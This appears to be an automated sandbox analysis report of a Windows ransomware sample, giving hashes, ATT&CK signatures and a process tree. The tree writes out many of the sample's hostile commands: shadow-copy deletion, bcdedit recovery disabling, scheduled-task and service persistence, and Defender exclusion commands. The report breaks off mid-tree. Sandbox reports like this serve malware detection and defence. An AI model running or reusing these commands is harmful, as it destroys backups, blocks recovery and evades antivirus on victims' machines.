5328b45619a86cc5e3068d086814b47be6d8ffb26b3524fa8024aa63110c45ba

Analysis

max time kernel
21s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 22:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WindowsFormsApp15.exe
Size 2.6MB
Sample260701-18ewjaft3j
SHA256 5328b45619a86cc5e3068d086814b47be6d8ffb26b3524fa8024aa63110c45ba
MD5 6de2b58a611f8f98f40c349acdb5b140
SHA1 f8609896c6d604437cb92efa9b52aa13a9dad1f6
SHA512 532c7903f546bdde6cba6dd621a86b4bebf9570b40fdc83332d80af424f9b0836965052fa2fd295435ff77dfc005a5d64d8485a5377fb7cd010fc7f779706df5
SSDEEP 49152:i/MYBS7PErfcEkoq2J3Y2pGEau+8eT/8Avh4rOg3/DMwjn3nr:i/MYBSD00EC2Jo22n8AZYMm
TLSH
T106C5121817F91A27E27ADE776AF38113AA31F513A831DE1D148503894433BD7AB92F39
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

costura defense_evasion discovery evasion execution impact packer persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 16 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2688	bcdedit.exe
5648	bcdedit.exe
4296	bcdedit.exe
1068	bcdedit.exe
5212	bcdedit.exe
2860	bcdedit.exe
8848	bcdedit.exe
5784	bcdedit.exe
6848	bcdedit.exe
7348	bcdedit.exe
8268	bcdedit.exe
7216	bcdedit.exe
10084	bcdedit.exe
4192	bcdedit.exe
5248	bcdedit.exe
1376	bcdedit.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6732	netsh.exe
7356	netsh.exe
8300	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1168	icacls.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System32\winlogon_fix.exe	WindowsFormsApp15.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/files/0x000e00000001c533-37.dat	costura

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5360	sc.exe
2396	sc.exe
6896	sc.exe
5660	sc.exe
6148	sc.exe
900	sc.exe
9436	sc.exe
5612	sc.exe
9508	sc.exe
8588	sc.exe
10148	sc.exe
4704	sc.exe
6856	sc.exe
9468	sc.exe
8316	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
7456	ipconfig.exe
7364	ipconfig.exe
1736	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1584	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4420	schtasks.exe
2348	schtasks.exe
4160	schtasks.exe
3976	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3436	WindowsFormsApp15.exe
3436	WindowsFormsApp15.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3436	WindowsFormsApp15.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 2512	3436	WindowsFormsApp15.exe	88
PID 3436 wrote to memory of 2688	3436	WindowsFormsApp15.exe	89
PID 3436 wrote to memory of 5648	3436	WindowsFormsApp15.exe	90
PID 3436 wrote to memory of 4296	3436	WindowsFormsApp15.exe	92

C:\Users\Admin\AppData\Local\Temp\WindowsFormsApp15.exe
"C:\Users\Admin\AppData\Local\Temp\WindowsFormsApp15.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\System32\ReAgentc.exe
  "C:\Windows\System32\ReAgentc.exe" /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2512
- C:\Windows\System32\bcdedit.exe
  "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2688
- C:\Windows\System32\bcdedit.exe
  "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5648
- C:\Windows\System32\bcdedit.exe
  "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4296
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\Windows\System32\winlogon_fix.exe" /deny *S-1-1-0:(DE,DC,WDAC,WO,WD,AS)
  2⤵
  - Modifies file permissions
  PID:1168
- C:\Windows\System32\winlogon_fix.exe
  "C:\Windows\System32\winlogon_fix.exe"
  2⤵
  PID:1860
- - C:\Windows\System32\ReAgentc.exe
    "C:\Windows\System32\ReAgentc.exe" /disable
    3⤵
    PID:1372
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1068
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5212
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displaybootmenu No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2860
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "WinUpdate" /TR ""C:\Windows\System32\winlogon_fix.exe"" /SC ONLOGON /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4420
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "WinCheck" /TR ""C:\Windows\System32\winlogon_fix.exe"" /SC HOURLY /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2348
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "WinStartup" /TR ""C:\Windows\System32\winlogon_fix.exe"" /SC ONSTART /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3976
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "WinIdle" /TR ""C:\Windows\System32\winlogon_fix.exe"" /SC ONIDLE /I 5 /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4160
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create WinDefSrv binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:5660
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create WinUpdSrv binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:5612
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
    3⤵
    PID:5956
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
    3⤵
    PID:2880
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
    3⤵
    PID:5712
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
    3⤵
    PID:4596
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
    3⤵
    PID:5264
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
    3⤵
    PID:2996
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
    3⤵
    PID:2120
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
    3⤵
    PID:5392
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
    3⤵
    PID:3460
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
    3⤵
    PID:2764
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
    3⤵
    PID:1096
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
    3⤵
    PID:3108
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
    3⤵
    PID:5360
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
    3⤵
    PID:3776
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
    3⤵
    PID:2660
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
    3⤵
    PID:5388
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
    3⤵
    PID:5564
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
    3⤵
    PID:2708
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
    3⤵
    PID:5568
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
    3⤵
    PID:5816
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
    3⤵
    PID:3032
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
    3⤵
    PID:6076
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
    3⤵
    PID:4716
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
    3⤵
    PID:5932
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
    3⤵
    PID:5172
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
    3⤵
    PID:1120
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
    3⤵
    PID:5548
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
    3⤵
    PID:6140
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
    3⤵
    PID:5980
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
    3⤵
    PID:3088
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
    3⤵
    PID:3548
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
    3⤵
    PID:4280
- - C:\Windows\System32\vssadmin.exe
    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1584
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
    3⤵
    PID:5964
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
    3⤵
    PID:1640
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
    3⤵
    PID:2324
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
    3⤵
    PID:3440
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
    3⤵
    PID:4300
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
    3⤵
    PID:2684
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
    3⤵
    PID:1176
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
    3⤵
    PID:2136
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
    3⤵
    PID:1852
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
    3⤵
    PID:5012
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
    3⤵
    PID:1908
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
    3⤵
    PID:1420
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
    3⤵
    PID:712
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
    3⤵
    PID:1464
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
    3⤵
    PID:1376
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
    3⤵
    PID:1156
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
    3⤵
    PID:5828
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
    3⤵
    PID:5196
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
    3⤵
    PID:4336
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
    3⤵
    PID:2328
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
    3⤵
    PID:5936
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
    3⤵
    PID:1064
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
    3⤵
    PID:4512
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
    3⤵
    PID:3784
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
    3⤵
    PID:3048
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
    3⤵
    PID:820
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
    3⤵
    PID:2936
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
    3⤵
    PID:6068
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
    3⤵
    PID:4652
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
    3⤵
    PID:2836
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
    3⤵
    PID:2564
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
    3⤵
    PID:3168
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
    3⤵
    PID:5608
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
    3⤵
    PID:956
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
    3⤵
    PID:4916
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
    3⤵
    PID:5812
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
    3⤵
    PID:3572
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
    3⤵
    PID:572
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
    3⤵
    PID:6080
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
    3⤵
    PID:5272
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
    3⤵
    PID:5424
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
    3⤵
    PID:2464
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
    3⤵
    PID:5268
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
    3⤵
    PID:1436
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
    3⤵
    PID:4600
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
    3⤵
    PID:1972
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
    3⤵
    PID:3808
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
    3⤵
    PID:4176
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
    3⤵
    PID:2456
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
    3⤵
    PID:3644
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
    3⤵
    PID:1484
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
    3⤵
    PID:5908
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
    3⤵
    PID:1676
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
    3⤵
    PID:1084
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
    3⤵
    PID:4760
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
    3⤵
    PID:4720
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
    3⤵
    PID:4816
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
    3⤵
    PID:4580
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
    3⤵
    PID:1748
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
    3⤵
    PID:4936
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
    3⤵
    PID:2024
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
    3⤵
    PID:5628
- - C:\Windows\System32\winlogon_fix.exe
    "C:\Windows\System32\winlogon_fix.exe" "powershell.exe" -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
    3⤵
    PID:4008
- - C:\Windows\System32\winlogon_fix.exe
